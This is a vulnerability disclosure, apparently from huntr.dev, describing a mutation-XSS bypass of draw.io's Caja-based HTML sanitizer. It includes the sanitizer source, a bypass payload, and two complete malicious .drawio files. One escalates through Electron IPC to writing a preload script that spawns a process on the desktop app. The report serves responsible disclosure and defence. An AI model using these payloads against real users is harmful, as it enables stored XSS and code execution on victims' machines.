Lucene search

K
huntr7085033D3423-EB05-4B53-A747-1BFCBA873127
HistoryMay 01, 2022 - 6:01 p.m.

Arbitrary Code Execution through Sanitizer Bypass

2022-05-0118:01:06
7085
www.huntr.dev
17
arbitrary code execution
sanitizer bypass
drawio library
mutation xss
stored xss
caja sanitizer

EPSS

0.002

Percentile

57.5%

Description

The sanitizer function of the drawio core library which is responsible to sanitize various parts of a diagram of potentially dangerous HTML/JavaScript code can be bypassed.
It is vulnerable to mutation XSS payloads, which allows escaping from the sanitizer.
This allows arbitrary code execution in the desktop app and stored XSS in the web app.

The sanitizer is based on the Caja sanitizer, which was discontinued some time ago and will not receive updates any more.

<https://github.com/jgraph/drawio/blob/v17.4.3/src/main/webapp/js/grapheditor/Graph.js#L1668-L1686&gt;

Graph.sanitizeHtml = function(value, editing)
{
	// Uses https://code.google.com/p/google-caja/wiki/JsHtmlSanitizer
	// NOTE: Original minimized sanitizer was modified to support
	// data URIs for images, mailto and special data:-links.
	// LATER: Add MathML to whitelisted tags
	function urlX(link)
	{
		if (link != null && link.toString().toLowerCase().substring(0, 11) !== 'javascript:')
		{
			return link;
		}
		
		return null;
	};
    function idX(id) { return id };
	
	return html_sanitize(value, urlX, idX);
};

For example the following payload will not get sanitized correctly and allows injecting JavaScript code:

&lt;select&gt;&lt;iframe&gt;&lt;/select&gt;<img src>

Basically anthing after the &lt;select&gt;&lt;iframe&gt;&lt;/select&gt; will not get sanitized and can be injected.

Since this sanitizer function is used in many different places, the vulnerability could be abused through several injection points in diagram files.

Proof of Concept

The following file will execute alert() when opened in draw.io.
The payload is located in the label attribute of the UserObject element.
To reproduce save it as a .drawio file, then open it.

&lt;mxfile host="Electron" modified="2022-05-01T12:59:04.467Z" agent="5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) draw.io/17.4.2 Chrome/100.0.4896.60 Electron/18.0.1 Safari/537.36" etag="kiR_NjkTd37TBbovy8cU" compressed="false" version="17.4.2" type="device"&gt;
  &lt;diagram id="_Y4cO9PIdA5klW6TnyFV" name="Page-1"&gt;
    &lt;mxGraphModel dx="1102" dy="714" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="291" pageHeight="413" math="0" shadow="0"&gt;
      &lt;root&gt;
        &lt;mxCell id="0" /&gt;
        &lt;mxCell id="1" parent="0" /&gt;
        &lt;UserObject label="&lt;select&gt;&lt;iframe&gt;&lt;/select&gt;&lt;img src=x onerror=alert(1)&gt;" tooltip="" id="kX_el6IuBEZSOJuKbBye-1"&gt;
          &lt;mxCell style="rounded=0;whiteSpace=wrap;html=1;" vertex="1" parent="1"&gt;
            &lt;mxGeometry x="150" y="170" width="90" height="40" as="geometry" /&gt;
          &lt;/mxCell&gt;
        &lt;/UserObject&gt;
      &lt;/root&gt;
    &lt;/mxGraphModel&gt;
  &lt;/diagram&gt;
&lt;/mxfile&gt;

This can be further escalated to get arbitrary code execution when opened with the desktop app.
By executing the payload below we can abuse the functionality exposed in the renderer process and get access to Node.js functions.
It can be achieved by writing a JavaScript file to the resource directory of the app and later using it as preload script when opening a new Electron BrowserWindow with modified settings.
In this example calc.exe (Windows calculator) is spawned.

electron.request({action: 'writeFile', path: decodeURIComponent(location.pathname.substring(1).replace('app.asar/index.html','payload.js')), data: 'require(\'child_process\').spawnSync(\'calc.exe\');', enc: 'utf8'});
electron.sendMessage('newfile', {width: 100, height: 100, webPreferences: {preload: decodeURIComponent(location.pathname.substring(1).replace('app.asar/index.html','payload.js')), nodeIntegration: true, contextIsolation: true}});

Full PoC:
Save the following content as a .drawio-file, then open it in the desktop app:

&lt;mxfile host="Electron" modified="2022-05-01T12:59:04.467Z" agent="5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) draw.io/17.4.2 Chrome/100.0.4896.60 Electron/18.0.1 Safari/537.36" etag="kiR_NjkTd37TBbovy8cU" compressed="false" version="17.4.2" type="device"&gt;
  &lt;diagram id="_Y4cO9PIdA5klW6TnyFV" name="Page-1"&gt;
    &lt;mxGraphModel dx="1102" dy="714" grid="1" gridSize="10" guides="1" tooltips="1" connect="1" arrows="1" fold="1" page="1" pageScale="1" pageWidth="291" pageHeight="413" math="0" shadow="0"&gt;
      &lt;root&gt;
        &lt;mxCell id="0" /&gt;
        &lt;mxCell id="1" parent="0" /&gt;
        &lt;UserObject label="&lt;select&gt;&lt;iframe&gt;&lt;/select&gt;&lt;img src=x onerror=&quot;electron.request({action: 'writeFile', path: decodeURIComponent(location.pathname.substring(1).replace('app.asar/index.html','payload.js')), data: 'require(\'child_process\').spawnSync(\'calc.exe\');', enc: 'utf8'});
electron.sendMessage('newfile', {width: 100, height: 100, webPreferences: {preload: decodeURIComponent(location.pathname.substring(1).replace('app.asar/index.html','payload.js')), nodeIntegration: true, contextIsolation: true}});&quot;&gt;" tooltip="" id="kX_el6IuBEZSOJuKbBye-1"&gt;
          &lt;mxCell style="rounded=0;whiteSpace=wrap;html=1;" vertex="1" parent="1"&gt;
            &lt;mxGeometry x="150" y="170" width="90" height="40" as="geometry" /&gt;
          &lt;/mxCell&gt;
        &lt;/UserObject&gt;
      &lt;/root&gt;
    &lt;/mxGraphModel&gt;
  &lt;/diagram&gt;
&lt;/mxfile&gt;

EPSS

0.002

Percentile

57.5%

Related for 033D3423-EB05-4B53-A747-1BFCBA873127